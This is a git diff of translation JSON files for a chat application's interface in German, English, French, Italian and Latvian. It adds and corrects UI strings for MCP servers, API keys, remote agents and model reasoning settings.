   "com_ui_copy_url_to_clipboard": "URL in die Zwischenablage kopieren",
   "com_ui_create": "Erstellen",
+  "com_ui_create_api_key": "API-Schlüssel erstellen",
   "com_ui_create_assistant": "Assistent erstellen",
   "com_ui_create_link": "Link erstellen",
+  "com_ui_create_mcp_server": "MCP-Server erstellen",
   "com_ui_create_memory": "Erinnerung erstellen",
   "com_ui_create_new_agent": "Neuen Agenten erstellen",
   "com_ui_create_prompt": "Prompt erstellen",
   "com_ui_create_prompt_page": "Neue Prompt-Konfigurationsseite",
+  "com_ui_created": "Erstellt",
+  "com_ui_creating": "Wird erstellt...",
   "com_ui_creating_image": "Bild wird erstellt. Kann einen Moment dauern",
   "com_ui_current": "Aktuell",
   "com_ui_currently_production": "Aktuell im Produktivbetrieb",
@@ -861,6 +905,9 @@
   "com_ui_delete_confirm_prompt_version_var": "Dies wird die ausgewählte Version für \"{{0}}\" löschen. Wenn keine anderen Versionen existieren, wird der Prompt gelöscht.",
   "com_ui_delete_confirm_strong": "Dies wird <strong>{{title}}</strong> löschen",
   "com_ui_delete_conversation": "Chat löschen?",
+  "com_ui_delete_conversation_tooltip": "Unterhaltung löschen",
+  "com_ui_delete_mcp_server": "MCP-Server löschen?",
+  "com_ui_delete_mcp_server_name": "MCP-Server {{0}} löschen",
   "com_ui_delete_memory": "Erinnerung löschen",
   "com_ui_delete_not_allowed": "Löschvorgang ist nicht erlaubt",
   "com_ui_delete_preset": "Voreinstellung löschen?",
@@ -873,6 +920,7 @@
   "com_ui_delete_tool_confirm": "Bist du sicher, dass du dieses Werkzeug löschen möchtest?",
   "com_ui_delete_tool_save_reminder": "Tool entfernt. Speichere den Agenten, um die Änderungen zu übernehmen.",
   "com_ui_deleted": "Gelöscht",
+  "com_ui_deleting": "Wird gelöscht...",
   "com_ui_deleting_file": "Lösche Datei...",
   "com_ui_descending": "Absteigend",
   "com_ui_description": "Beschreibung",
@@ -909,7 +957,9 @@
   "com_ui_endpoint_menu": "LLM-Endpunkt-Menü",
   "com_ui_enter": "Eingabe",
   "com_ui_enter_api_key": "API-Schlüssel eingeben",
+  "com_ui_enter_description": "Beschreibung eingeben (optional)",
   "com_ui_enter_key": "Schlüssel eingeben",
+  "com_ui_enter_name": "Namen eingeben",
   "com_ui_enter_openapi_schema": "Gib hier dein OpenAPI-Schema ein",
   "com_ui_enter_value": "Wert eingeben",
   "com_ui_error": "Fehler",
@@ -923,6 +973,7 @@
   "com_ui_examples": "Beispiele",
   "com_ui_expand": "Ausklappen",
   "com_ui_expand_chat": "Chat erweitern",
+  "com_ui_expand_thoughts": "Gedanken ausklappen",
   "com_ui_export_convo_modal": "Konversation exportieren",
   "com_ui_feedback_more": "Mehr ...",
   "com_ui_feedback_more_information": "Zusätzliches Feedback",
@@ -931,7 +982,7 @@
   "com_ui_feedback_positive": "Prima, sehr gut",
   "com_ui_feedback_tag_accurate_reliable": "Akkurat und Zuverlässig",
   "com_ui_feedback_tag_attention_to_detail": "Liebe zum Detail",
-  "com_ui_feedback_tag_bad_style": "Clear and Well-Written",
+  "com_ui_feedback_tag_bad_style": "Schlechter Stil oder Tonfall",
   "com_ui_feedback_tag_clear_well_written": "Klar und gut geschrieben",
   "com_ui_feedback_tag_creative_solution": "Kreative Lösung",
   "com_ui_feedback_tag_inaccurate": "Ungenaue oder falsche Antwort",
@@ -993,6 +1044,8 @@
   "com_ui_handoff_instructions": "Übergabebeschreibung",
   "com_ui_happy_birthday": "Es ist mein 1. Geburtstag!",
   "com_ui_header_format": "Header-Format",
+  "com_ui_hide": "Verstecken",
+  "com_ui_hide_code": "Code verbergen",
   "com_ui_hide_image_details": "Details zum Bild ausblenden",
   "com_ui_hide_password": "Passwort verbergen",
   "com_ui_hide_qr": "QR-Code ausblenden",
@@ -1017,6 +1070,7 @@
   "com_ui_instructions": "Anweisungen",
   "com_ui_key": "Schlüssel",
   "com_ui_key_required": "API-Schlüssel ist erforderlich",
+  "com_ui_last_used": "Zuletzt verwendet",
   "com_ui_late_night": "Schöne späte Nacht",
   "com_ui_latest_footer": "Alle KIs für alle.",
   "com_ui_latest_production_version": "Neueste Produktiv-Version",
@@ -1035,20 +1089,30 @@
   "com_ui_manage": "Verwalten",
   "com_ui_marketplace": "Marktplatz",
   "com_ui_marketplace_allow_use": "Nutzung des Marktplatzes erlauben",
+  "com_ui_max": "Max",
   "com_ui_max_favorites_reached": "Maximale Anzahl angepinnter Elemente erreicht ({{0}}). Löse ein Element, um weitere hinzuzufügen.",
   "com_ui_max_file_size": "PNG, JPG oder JPEG (max. {{0}})",
   "com_ui_max_tags": "Die maximale Anzahl ist {{0}}, es werden die neuesten Werte verwendet.",
   "com_ui_mcp_authenticated_success": "MCP-Server „{{0}}“ erfolgreich authentifiziert.",
+  "com_ui_mcp_click_to_defer": "Klicken zum Aufschieben – Tool ist über die Suche findbar, wird aber erst bei Bedarf geladen",
+  "com_ui_mcp_click_to_programmatic": "Programmatischen Aufruf aktivieren – Tool kann nur über Code-Ausführung gestartet werden",
   "com_ui_mcp_configure_server": "Konfiguriere {{0}}",
   "com_ui_mcp_configure_server_description": "Konfiguriere benutzerdefinierte Variablen für {{0}}",
+  "com_ui_mcp_defer": "Aufschieben",
+  "com_ui_mcp_defer_all": "Alle Tools aufschieben",
+  "com_ui_mcp_defer_loading": "Laden aufschieben",
   "com_ui_mcp_dialog_title": "Variablen konfigurieren für {{serverName}}. Server-Status: {{status}}",
   "com_ui_mcp_domain_not_allowed": "Die MCP-Server-Domain befindet sich nicht in der Liste der erlaubten Domains. Bitte kontaktiere deinen Administrator.",
   "com_ui_mcp_enter_var": "Geben Sie einen Wert für {{0}} ein",
   "com_ui_mcp_init_failed": "Initialisierung des MCP-Servers fehlgeschlagen.",
   "com_ui_mcp_initialize": "Initialisieren",
   "com_ui_mcp_initialized_success": "MCP-Server „{{0}}“ erfolgreich initialisiert.",
+  "com_ui_mcp_invalid_url": "Bitte gib eine gültige URL ein",
+  "com_ui_mcp_no_description": "Keine Beschreibung verfügbar",
   "com_ui_mcp_oauth_cancelled": "OAuth-Anmeldung für {{0}} abgebrochen.",
   "com_ui_mcp_oauth_timeout": "Zeitüberschreitung bei der OAuth-Anmeldung für {{0}}.",
+  "com_ui_mcp_programmatic": "Programmatisch",
+  "com_ui_mcp_programmatic_all": "Alle als programmatisch markieren",
   "com_ui_mcp_server": "MCP-Server",
   "com_ui_mcp_server_connection_failed": "Verbindungsversuch zum bereitgestellten MCP-Server fehlgeschlagen. Bitte stelle sicher, dass die URL, der Servertyp und alle Authentifizierungskonfigurationen korrekt sind, und versuche es erneut. Stelle außerdem sicher, dass die URL erreichbar ist.",
   "com_ui_mcp_server_created": "MCP-Server erfolgreich erstellt",
@@ -1061,13 +1125,20 @@
   "com_ui_mcp_server_role_viewer": "MCP-Server-Betrachter",
   "com_ui_mcp_server_role_viewer_desc": "Kann MCP-Server ansehen und verwenden",
   "com_ui_mcp_server_updated": "MCP-Server erfolgreich aktualisiert",
+  "com_ui_mcp_server_url_placeholder": "https://mcp.beispiel.com",
   "com_ui_mcp_servers": "MCP Server",
   "com_ui_mcp_servers_allow_create": "Benutzern das Erstellen von MCP-Servern erlauben",
   "com_ui_mcp_servers_allow_share": "Benutzern das Teilen von MCP-Servern erlauben",
+  "com_ui_mcp_servers_allow_share_public": "Nutzern das öffentliche Teilen von MCP-Servern erlauben",
   "com_ui_mcp_servers_allow_use": "Benutzern die Verwendung von MCP-Servern erlauben",
   "com_ui_mcp_title_invalid": "Titel darf nur Buchstaben, Zahlen und Leerzeichen enthalten",
+  "com_ui_mcp_tool_options": "Tool-Optionen",
+  "com_ui_mcp_transport": "Transport",
   "com_ui_mcp_type_sse": "SSE",
   "com_ui_mcp_type_streamable_http": "Streamable HTTPS",
+  "com_ui_mcp_undefer": "Aufschub aufheben",
+  "com_ui_mcp_undefer_all": "Aufschub für alle Tools aufheben",
+  "com_ui_mcp_unprogrammatic_all": "Markierung als „programmatisch“ für alle entfernen",
   "com_ui_mcp_update_var": "{{0}} aktualisieren",
   "com_ui_mcp_url": "MCP-Server-URL",
   "com_ui_medium": "Mittel",
@@ -1085,12 +1156,16 @@
   "com_ui_memory_deleted_items": "Gelöschte Erinnerungen",
   "com_ui_memory_error": "Fehler bei den Erinnerungen",
   "com_ui_memory_key_exists": "Eine Erinnerung mit diesem Schlüssel existiert bereits. Bitte verwende einen anderen Schlüssel.",
+  "com_ui_memory_key_hint": "Nur Kleinbuchstaben und Unterstriche verwenden",
   "com_ui_memory_key_validation": "Der Erinnerungsschlüssel darf nur Kleinbuchstaben und Unterstriche enthalten.",
   "com_ui_memory_storage_full": "Speicherplatz für Erinnerungen voll",
   "com_ui_memory_updated": "Erinnerung aktualisiert",
   "com_ui_memory_updated_items": "Aktualisierte Erinnerungen",
   "com_ui_memory_would_exceed": "Speichern nicht möglich - würde Limit um {{tokens}} Tokens überschreiten. Löschen Sie vorhandene Erinnerungen, um Platz zu schaffen.",
   "com_ui_mention": "Erwähne einen Endpunkt, Assistenten oder eine Voreinstellung, um schnell dorthin zu wechseln",
+  "com_ui_mermaid": "Mermaid",
+  "com_ui_mermaid_failed": "Diagramm konnte nicht gerendert werden:",
+  "com_ui_mermaid_source": "Quellcode:",
   "com_ui_message_input": "Nachrichteneingabe",
   "com_ui_microphone_unavailable": "Mikrofon ist nicht verfügbar",
   "com_ui_min_tags": "Es können nicht mehr Werte entfernt werden, mindestens {{0}} sind erforderlich.",
@@ -1098,6 +1173,8 @@
   "com_ui_misc": "Verschiedenes",
   "com_ui_model": "KI-Modell",
   "com_ui_model_parameters": "Modell-Parameter",
+  "com_ui_model_parameters_reset": "Modellparameter wurden zurückgesetzt.",
+  "com_ui_model_selected": "{{0}} ausgewählt",
   "com_ui_more_info": "Mehr Infos",
   "com_ui_my_prompts": "Meine Prompts",
   "com_ui_name": "Name",
@@ -1107,7 +1184,11 @@
   "com_ui_new_conversation_title": "Neuer Titel des Chats",
   "com_ui_next": "Weiter",
   "com_ui_no": "Nein",
+  "com_ui_no_api_keys": "Noch keine API-Schlüssel vorhanden. Erstelle einen, um loszulegen.",
+  "com_ui_no_auth": "Keine Auth",
   "com_ui_no_bookmarks": "Du hast noch keine Lesezeichen. Klicke auf einen Chat und füge ein neues hinzu",
+  "com_ui_no_bookmarks_match": "Keine Lesezeichen entsprechen deiner Suche",
+  "com_ui_no_bookmarks_title": "Noch keine Lesezeichen",
   "com_ui_no_categories": "Keine Kategorien verfügbar",
   "com_ui_no_category": "Keine Kategorie",
   "com_ui_no_changes": "Es wurden keine Änderungen vorgenommen",
@@ -1115,7 +1196,10 @@
   "com_ui_no_mcp_servers": "Noch keine MCP-Server",
   "com_ui_no_mcp_servers_match": "Keine MCP-Server entsprechen deinem Filter",
   "com_ui_no_memories": "Keine Erinnerungen. Erstelle sie manuell oder fordere die KI auf, sich etwas zu merken.\n",
+  "com_ui_no_memories_match": "Keine Erinnerungen entsprechen deiner Suche",
+  "com_ui_no_memories_title": "Noch keine Erinnerungen",
   "com_ui_no_personalization_available": "Derzeit sind keine Personalisierungsoptionen verfügbar.",
+  "com_ui_no_prompts_title": "Noch keine Prompts",
   "com_ui_no_read_access": "Du hast keine Berechtigung, Erinnerungen anzuzeigen.",
   "com_ui_no_results_found": "Keine Ergebnisse gefunden",
   "com_ui_no_terms_content": "Keine Inhalte der Allgemeinen Geschäftsbedingungen zum Anzeigen",
@@ -1136,6 +1220,7 @@
   "com_ui_off": "Aus",
   "com_ui_offline": "Offline",
   "com_ui_on": "An",
+  "com_ui_open_archived_chat_new_tab_title": "{{title}} (öffnet in neuem Tab)",
   "com_ui_open_source_chat_new_tab": "Quell-Chat in neuem Tab öffnen",
   "com_ui_open_source_chat_new_tab_title": "Quell-Chat in neuem Tab öffnen - {{title}}",
   "com_ui_open_var": "{{0}} öffnen",
@@ -1157,6 +1242,7 @@
   "com_ui_privacy_policy": "Datenschutzerklärung",
   "com_ui_privacy_policy_url": "Datenschutzrichtlinie-URL",
   "com_ui_prompt": "Prompt",
+  "com_ui_prompt_deleted": "{{0}} gelöscht",
   "com_ui_prompt_group_button": "{{name}}-Prompt, Kategorie {{category}}",
   "com_ui_prompt_group_button_no_category": "{{name}}-Prompt",
   "com_ui_prompt_groups": "Prompt-Gruppenliste",
@@ -1171,6 +1257,7 @@
   "com_ui_prompts": "Prompts",
   "com_ui_prompts_allow_create": "Erstellung von Prompts erlauben",
   "com_ui_prompts_allow_share": "Teilen von Prompts erlauben",
+  "com_ui_prompts_allow_share_public": "Öffentliches Teilen von Prompts erlauben",
   "com_ui_prompts_allow_use": "Verwendung von Prompts erlauben",
   "com_ui_provider": "Anbieter",
   "com_ui_quality": "Qualität",
@@ -1188,6 +1275,18 @@
   "com_ui_regenerating": "Generiere neu ...",
   "com_ui_region": "Region",
   "com_ui_reinitialize": "Neu initialisieren",
+  "com_ui_remote_access": "Remote-Zugriff",
+  "com_ui_remote_agent_role_editor": "Editor",
+  "com_ui_remote_agent_role_editor_desc": "Kann den Agent über die API ansehen und bearbeiten",
+  "com_ui_remote_agent_role_owner": "API-Eigentümer",
+  "com_ui_remote_agent_role_owner_desc": "Vollständiger API-Zugriff; kann anderen Remote-Zugriff gewähren",
+  "com_ui_remote_agent_role_viewer": "API-Betrachter",
+  "com_ui_remote_agent_role_viewer_desc": "Kann den Agent über die API abfragen",
+  "com_ui_remote_agents": "Remote-Agents (API)",
+  "com_ui_remote_agents_allow_create": "Nutzern das Erstellen von Agents über die API erlauben",
+  "com_ui_remote_agents_allow_share": "Nutzern erlauben, anderen API-Zugriff auf Agents zu gewähren",
+  "com_ui_remote_agents_allow_share_public": "Nutzern erlauben, allen Usern API-Zugriff auf Agents zu gewähren",
+  "com_ui_remote_agents_allow_use": "Nutzern erlauben, API-Schlüssel zu erstellen und Agents remote abzufragen",
   "com_ui_remove_agent_from_chain": "{{0}} aus der Kette entfernen",
   "com_ui_remove_user": "{{0}} entfernen",
   "com_ui_rename": "Umbenennen",
@@ -1205,6 +1304,7 @@
   "com_ui_result": "Ergebnis",
   "com_ui_result_found": "{{count}} Ergebnis gefunden",
   "com_ui_results_found": "{{count}} Ergebnisse gefunden",
+  "com_ui_retry": "Erneut versuchen",
   "com_ui_revoke": "Widerrufen",
   "com_ui_revoke_info": "Benutzer-API-Keys widerrufen",
   "com_ui_revoke_key_confirm": "Bist du sicher, dass du diesen Schlüssel widerrufen möchtest?",
@@ -1276,7 +1376,9 @@
   "com_ui_shared_link_not_found": "Geteilter Link nicht gefunden",
   "com_ui_shared_prompts": "Geteilte Prompts",
   "com_ui_shop": "Einkaufen",
+  "com_ui_show": "Anzeigen",
   "com_ui_show_all": "Alle anzeigen",
+  "com_ui_show_code": "Code anzeigen",
   "com_ui_show_image_details": "Details zum Bild anzeigen",
   "com_ui_show_password": "Passwort anzeigen",
   "com_ui_show_qr": "QR-Code anzeigen",
@@ -1288,6 +1390,7 @@
   "com_ui_special_var_current_datetime": "Aktuelles Datum & Uhrzeit",
   "com_ui_special_var_current_user": "Aktueller Nutzer",
   "com_ui_special_var_iso_datetime": "UTC ISO Datum/Zeit",
+  "com_ui_special_variable_added": "Spezialvariable {{0}} hinzugefügt.",
   "com_ui_special_variables": "Spezielle Variablen:",
   "com_ui_special_variables_more_info": "Du kannst spezielle Variablen aus den Dropdown-Menüs auswählen: `{{current_date}}` (heutiges Datum und Wochentag), `{{current_datetime}}` (offizielles Datum und Uhrzeit), `{{utc_iso_datetime}}` (UTC ISO Datum/Zeit) und `{{current_user}}` (dein Benutzername).",
   "com_ui_speech_not_supported": "Ihr Browser unterstützt keine Spracherkennung",
@@ -1332,6 +1435,7 @@
   "com_ui_ui_resource_not_found": "UI-Ressource nicht gefunden (Index: {{0}})",
   "com_ui_ui_resources": "UI-Ressourcen",
   "com_ui_unarchive": "Aus Archiv holen",
+  "com_ui_unarchive_conversation": "Unterhaltung dearchivieren",
   "com_ui_unarchive_error": "Konversation konnte nicht aus dem Archiv geholt werden",
   "com_ui_unavailable": "Nicht verfügbar",
   "com_ui_unknown": "Unbekannt",
@@ -1339,6 +1443,8 @@
   "com_ui_unset": "Aufheben",
   "com_ui_untitled": "Unbenannt",
   "com_ui_update": "Aktualisieren",
+  "com_ui_update_mcp_server": "MCP-Server aktualisieren",
+  "com_ui_updating": "Aktualisieren...",
   "com_ui_upload": "Hochladen",
   "com_ui_upload_agent_avatar": "Agenten-Avatar erfolgreich aktualisiert",
   "com_ui_upload_agent_avatar_label": "Avatarbild des Agenten hochladen",
@@ -1349,6 +1455,7 @@
   "com_ui_upload_file_context": "Kontext der Datei hochladen",
   "com_ui_upload_file_search": "Hochladen für Dateisuche",
   "com_ui_upload_files": "Dateien hochladen",
+  "com_ui_upload_icon": "Symbolbild hochladen",
   "com_ui_upload_image": "Ein Bild hochladen",
   "com_ui_upload_image_input": "Bild hochladen",
   "com_ui_upload_invalid": "Ungültige Datei zum Hochladen. Muss ein Bild sein und das Limit nicht überschreiten",
@@ -1402,7 +1509,9 @@
   "com_ui_weekend_morning": "Schönes Wochenende",
   "com_ui_write": "Schreiben",
   "com_ui_x_selected": "{{0}} ausgewählt",
+  "com_ui_xhigh": "Extra hoch",
   "com_ui_yes": "Ja",
+  "com_ui_your_api_key": "Dein API Key",
   "com_ui_zoom": "Zoom",
   "com_ui_zoom_in": "Heranzoomen",
   "com_ui_zoom_level": "Zoomstufe",
diff --git a/client/src/locales/en/translation.json b/client/src/locales/en/translation.json
index e0dad68431..196ea2ad4a 100644
--- a/client/src/locales/en/translation.json
+++ b/client/src/locales/en/translation.json
@@ -236,6 +236,7 @@
   "com_endpoint_assistant": "Assistant",
   "com_endpoint_assistant_model": "Assistant Model",
   "com_endpoint_assistant_placeholder": "Please select an Assistant from the right-hand Side Panel",
+  "com_endpoint_bedrock_reasoning_effort": "Controls the reasoning level for supported Bedrock models (e.g. Kimi K2.5, GLM). Higher levels produce more thorough reasoning at the cost of increased latency and tokens.",
   "com_endpoint_config_click_here": "Click Here",
   "com_endpoint_config_google_api_info": "To get your Generative Language API key (for Gemini),",
   "com_endpoint_config_google_api_key": "Google API Key",
@@ -274,8 +275,9 @@
   "com_endpoint_google_custom_name_placeholder": "Set a custom name for Google",
   "com_endpoint_google_maxoutputtokens": "Maximum number of tokens that can be generated in the response. Specify a lower value for shorter responses and a higher value for longer responses. Note: models may stop before reaching this maximum.",
   "com_endpoint_google_temp": "Higher values = more random, while lower values = more focused and deterministic. We recommend altering this or Top P but not both.",
-  "com_endpoint_google_thinking": "Enables or disables reasoning. This setting is only supported by certain models (2.5 series). For older models, this setting may have no effect.",
-  "com_endpoint_google_thinking_budget": "Guides the number of thinking tokens the model uses. The actual amount may exceed or fall below this value depending on the prompt.\n\nThis setting is only supported by certain models (2.5 series). Gemini 2.5 Pro supports 128-32,768 tokens. Gemini 2.5 Flash supports 0-24,576 tokens. Gemini 2.5 Flash Lite supports 512-24,576 tokens.\n\nLeave blank or set to \"-1\" to let the model automatically decide when and how much to think. By default, Gemini 2.5 Flash Lite does not think.",
+  "com_endpoint_google_thinking": "Enables or disables reasoning. Supported by Gemini 2.5 and 3 series. Note: Gemini 3 Pro cannot fully disable thinking.",
+  "com_endpoint_google_thinking_budget": "Guides the number of thinking tokens the model uses. The actual amount may exceed or fall below this value depending on the prompt.\n\nThis setting only applies to Gemini 2.5 and older models. For Gemini 3 and later, use the Thinking Level setting instead.\n\nGemini 2.5 Pro supports 128-32,768 tokens. Gemini 2.5 Flash supports 0-24,576 tokens. Gemini 2.5 Flash Lite supports 512-24,576 tokens.\n\nLeave blank or set to \"-1\" to let the model automatically decide when and how much to think. By default, Gemini 2.5 Flash Lite does not think.",
+  "com_endpoint_google_thinking_level": "Controls the depth of reasoning for Gemini 3 and later models. Has no effect on Gemini 2.5 and older — use Thinking Budget for those.\n\nLeave on Auto to use the model default.",
   "com_endpoint_google_topk": "Top-k changes how the model selects tokens for output. A top-k of 1 means the selected token is the most probable among all tokens in the model's vocabulary (also called greedy decoding), while a top-k of 3 means that the next token is selected from among the 3 most probable tokens (using temperature).",
   "com_endpoint_google_topp": "Top-p changes how the model selects tokens for output. Tokens are selected from most K (see topK parameter) probable to least until the sum of their probabilities equals the top-p value.",
   "com_endpoint_google_use_search_grounding": "Use Google's search grounding feature to enhance responses with real-time web search results. This enables models to access current information and provide more accurate, up-to-date answers.",
@@ -345,6 +347,7 @@
   "com_endpoint_temperature": "Temperature",
   "com_endpoint_thinking": "Thinking",
   "com_endpoint_thinking_budget": "Thinking Budget",
+  "com_endpoint_thinking_level": "Thinking Level",
   "com_endpoint_top_k": "Top K",
   "com_endpoint_top_p": "Top P",
   "com_endpoint_use_active_assistant": "Use Active Assistant",
@@ -636,6 +639,7 @@
   "com_ui_2fa_generate_error": "There was an error generating two-factor authentication settings",
   "com_ui_2fa_invalid": "Invalid two-factor authentication code",
   "com_ui_2fa_setup": "Setup 2FA",
+  "com_ui_2fa_verification_required": "Enter your 2FA code to continue",
   "com_ui_2fa_verified": "Successfully verified Two-Factor Authentication",
   "com_ui_accept": "I accept",
   "com_ui_action_button": "Action Button",
@@ -1186,7 +1190,7 @@
   "com_ui_next": "Next",
   "com_ui_no": "No",
   "com_ui_no_api_keys": "No API keys yet. Create one to get started.",
-  "com_ui_no_auth": "No Auth",
+  "com_ui_no_auth": "None (Auto-detect)",
   "com_ui_no_bookmarks": "it seems like you have no bookmarks yet. Click on a chat and add a new one",
   "com_ui_no_bookmarks_match": "No bookmarks match your search",
   "com_ui_no_bookmarks_title": "No bookmarks yet",
diff --git a/client/src/locales/fr/translation.json b/client/src/locales/fr/translation.json
index c9d78ac3f5..7838b33739 100644
--- a/client/src/locales/fr/translation.json
+++ b/client/src/locales/fr/translation.json
@@ -1203,7 +1203,7 @@
   "com_ui_upload_image_input": "Téléverser une image",
   "com_ui_upload_invalid": "Fichier non valide pour le téléchargement. L'image ne doit pas dépasser la limite",
   "com_ui_upload_invalid_var": "Fichier non valide pour le téléchargement. L'image ne doit pas dépasser {{0}} Mo",
-  "com_ui_upload_ocr_text": "Téléchager en tant que texte",
+  "com_ui_upload_ocr_text": "Télécharger en tant que texte",
   "com_ui_upload_provider": "Télécharger vers le fournisseur",
   "com_ui_upload_success": "Fichier téléversé avec succès",
   "com_ui_upload_type": "Sélectionner le type de téléversement",
diff --git a/client/src/locales/it/translation.json b/client/src/locales/it/translation.json
index 1b78ae9ab8..f8e4f5e5d8 100644
--- a/client/src/locales/it/translation.json
+++ b/client/src/locales/it/translation.json
@@ -1,12 +1,15 @@
 {
+  "chat_direction_left_to_right": "Da Sinistra a Destra",
   "chat_direction_right_to_left": "Da destra a sinistra\n",
   "com_a11y_ai_composing": "L'IA sta ancora componendo",
   "com_a11y_end": "L'IA ha terminato la sua risposta",
+  "com_a11y_selected": "Selezionato",
   "com_a11y_start": "L'IA ha iniziato la sua risposta",
   "com_agents_agent_card_label": "{{name}} agente. {{description}}",
   "com_agents_all": "Tutti gli agenti\n",
   "com_agents_all_category": "Tutti",
   "com_agents_all_description": "Sfoglia tutti gli agenti condivisi in tutte le categorie",
+  "com_agents_avatar_upload_error": "Il caricamento dell'avatar d'agente è fallito",
   "com_agents_by_librechat": "da LibreChat",
   "com_agents_category_aftersales": "Post-vendita",
   "com_agents_category_aftersales_description": "Agenti specializzati nel supporto post-vendita, manutenzione e servizio clienti",
@@ -15,6 +18,7 @@
   "com_agents_category_finance_description": "Agenti specializzati in analisi finanziaria, budgeting e contabilità",
   "com_agents_category_general": "Generale",
   "com_agents_category_general_description": "Agenti di uso generale per compiti e richieste comuni",
+  "com_agents_category_hr": "Risorse Umane",
   "com_agents_category_hr_description": "Agenti specializzati in processi, politiche e supporto ai dipendenti delle risorse umane",
   "com_agents_category_it": "IT",
   "com_agents_category_it_description": "Agenti per supporto IT, risoluzione dei problemi tecnici e amministrazione del sistema",
@@ -32,6 +36,7 @@
   "com_agents_copy_link": "Copia Link",
   "com_agents_create_error": "Si è verificato un errore durante la creazione del tuo agente.",
   "com_agents_created_by": "da",
+  "com_agents_description_card": "Descrizione: {{descrizione}}",
   "com_agents_description_placeholder": "Opzionale: Descrivi qui il tuo Agente",
   "com_agents_empty_state_heading": "Nessun agente trovato",
   "com_agents_enable_file_search": "Abilita Ricerca File",
@@ -52,6 +57,7 @@
   "com_agents_error_searching": "Errore nella ricerca degli agenti",
   "com_agents_error_server_message": "Il server è temporaneamente non disponibile.",
   "com_agents_error_server_suggestion": "Riprova tra qualche istante.",
+  "com_agents_error_server_title": "Errore del Server",
   "com_agents_error_suggestion_generic": "Per favore, prova ad aggiornare la pagina o riprova più tardi.\n",
   "com_agents_error_timeout_message": "La richiesta ha richiesto troppo tempo per essere completata.",
   "com_agents_error_timeout_suggestion": "Controllare la connessione a Internet e riprovare.",
diff --git a/client/src/locales/lv/translation.json b/client/src/locales/lv/translation.json
index 5048c33dcc..57794a9e2a 100644
--- a/client/src/locales/lv/translation.json
+++ b/client/src/locales/lv/translation.json
@@ -39,7 +39,7 @@
   "com_agents_description_card": "Apraksts: {{description}}",
   "com_agents_description_placeholder": "Pēc izvēles: aprakstiet savu aģentu šeit",
   "com_agents_empty_state_heading": "Nav atrasts neviens aģents",
-  "com_agents_enable_file_search": "Iespējot vektorizēto meklēšanu",
+  "com_agents_enable_file_search": "Iespējot meklēšanu dokumentos",
   "com_agents_error_bad_request_message": "Pieprasījumu nevarēja apstrādāt.",
   "com_agents_error_bad_request_suggestion": "Lūdzu, pārbaudiet ievadītos datus un mēģiniet vēlreiz.",
   "com_agents_error_category_title": "Kategorija Kļūda",
@@ -66,7 +66,7 @@
   "com_agents_file_context_description": "Visi augšupielādētie faili tiek pilnībā pārveidoti tekstā un nekavējoties pievienoti aģenta pamata kontekstam kā nemainīgs saturs, kas pieejams visu sarunas laiku. Ja augšupielādētajam faila tipam ir pieejams vai konfigurēts OCR, teksta izvilkšana notiek automātiski. Šī metode ir piemērota gadījumos, kad nepieciešams analizēt visu dokumenta, attēla ar tekstu vai PDF faila saturu, taču jāņem vērā, ka tas ievērojami palielina atmiņas patēriņu un izmaksas.",
   "com_agents_file_context_disabled": "Pirms failu augšupielādes, lai to pievienotu kā kontekstu, ir jāizveido aģents.",
   "com_agents_file_context_label": "Pievienot failu kā kontekstu",
-  "com_agents_file_search_disabled": "Lai varētu iespējot vektorizētu meklēšanu ir jāizveido aģents.",
+  "com_agents_file_search_disabled": "Lai varētu iespējot meklēšanu dokumentos ir jāizveido aģents.",
   "com_agents_file_search_info": "Kad šī opcija ir iespējota, aģents izmanto vektorizētu datu meklēšanu (RAG pieeju), kas ļauj efektīvi un izmaksu ziņā izdevīgi izgūt atbilstošu kontekstu tikai no būtiskākajām faila daļām, balstoties uz lietotāja jautājumu, nevis analizē visu failu pilnā apjomā.",
   "com_agents_grid_announcement": "Rādu {{count}} aģentus {{category}} kategorijā",
   "com_agents_instructions_placeholder": "Sistēmas instrukcijas, ko izmantos aģents",
@@ -126,7 +126,7 @@
   "com_assistants_delete_actions_success": "Darbība veiksmīgi dzēsta no asistenta",
   "com_assistants_description_placeholder": "Pēc izvēles: Šeit aprakstiet savu asistentu",
   "com_assistants_domain_info": "Asistents nosūtīja šo informāciju {{0}}",
-  "com_assistants_file_search": "Vektorizētā Meklēšana (RAG)",
+  "com_assistants_file_search": "Meklēšana dokumentos",
   "com_assistants_file_search_info": "Šī funkcija ļauj asistentam izmantot augšupielādēto failu saturu, pievienojot zināšanas tieši no lietotāja vai citu lietotāju failiem. Pēc faila augšupielādes asistents automātiski identificē un izgūst nepieciešamās teksta daļas atbilstoši lietotāja pieprasījumam, neiekļaujot visu failu pilnā apjomā. Vektoru datubāzu (vector store) pieslēgšana tieši šai funkcijai šobrīd nav atbalstīta; tās iespējams pievienot tikai Provider Playground vidē vai augšupielādējot failus sarunas pavedienam ikreizējai meklēšanai.",
   "com_assistants_function_use": "Izmantotais asistents {{0}}",
   "com_assistants_image_vision": "Attēla redzējums",
@@ -136,7 +136,7 @@
   "com_assistants_knowledge_info": "Ja augšupielādējat failus sadaļā Zināšanas, sarunās ar asistentu var tikt iekļauts faila saturs.",
   "com_assistants_max_starters_reached": "Sasniegts maksimālais sarunu uzsākšanas iespēju skaits",
   "com_assistants_name_placeholder": "Pēc izvēles: Asistenta nosaukums",
-  "com_assistants_non_retrieval_model": "Šajā modelī vektorizētā meklēšana nav iespējota. Lūdzu, izvēlieties citu modeli.",
+  "com_assistants_non_retrieval_model": "Šajā modelī meklēšana dokumentos nav iespējota. Lūdzu, izvēlieties citu modeli.",
   "com_assistants_retrieval": "Atgūšana",
   "com_assistants_running_action": "Darbība palaista",
   "com_assistants_running_var": "Strādā {{0}}",
@@ -224,18 +224,19 @@
   "com_endpoint_agent": "Aģents",
   "com_endpoint_agent_placeholder": "Lūdzu, izvēlieties aģentu",
   "com_endpoint_ai": "Mākslīgais intelekts",
-  "com_endpoint_anthropic_effort": "Kontrolē, cik lielu skaitļošanas piepūli piemēro Claude. Mazāka piepūle ietaupa tokenus un samazina ātrumu; lielāka piepūle nodrošina rūpīgākas atbildes. 'Max' ļauj veikt visdziļāko argumentāciju (tikai Opus 4.6).",
+  "com_endpoint_anthropic_effort": "Kontrolē, cik lielu skaitļošanas piepūli piemēro Claude. Mazāka piepūle ietaupa tokenus un samazina ātrumu; lielāka piepūle nodrošina rūpīgākas atbildes. 'Max' ļauj veikt visdziļāko spriešanu (tikai Opus 4.6).",
   "com_endpoint_anthropic_maxoutputtokens": "Maksimālais atbildē ģenerējamo tokenu skaits. Norādiet zemāku vērtību īsākām atbildēm un augstāku vērtību garākām atbildēm. Piezīme: modeļi var apstāties pirms šī maksimālā skaita sasniegšanas.",
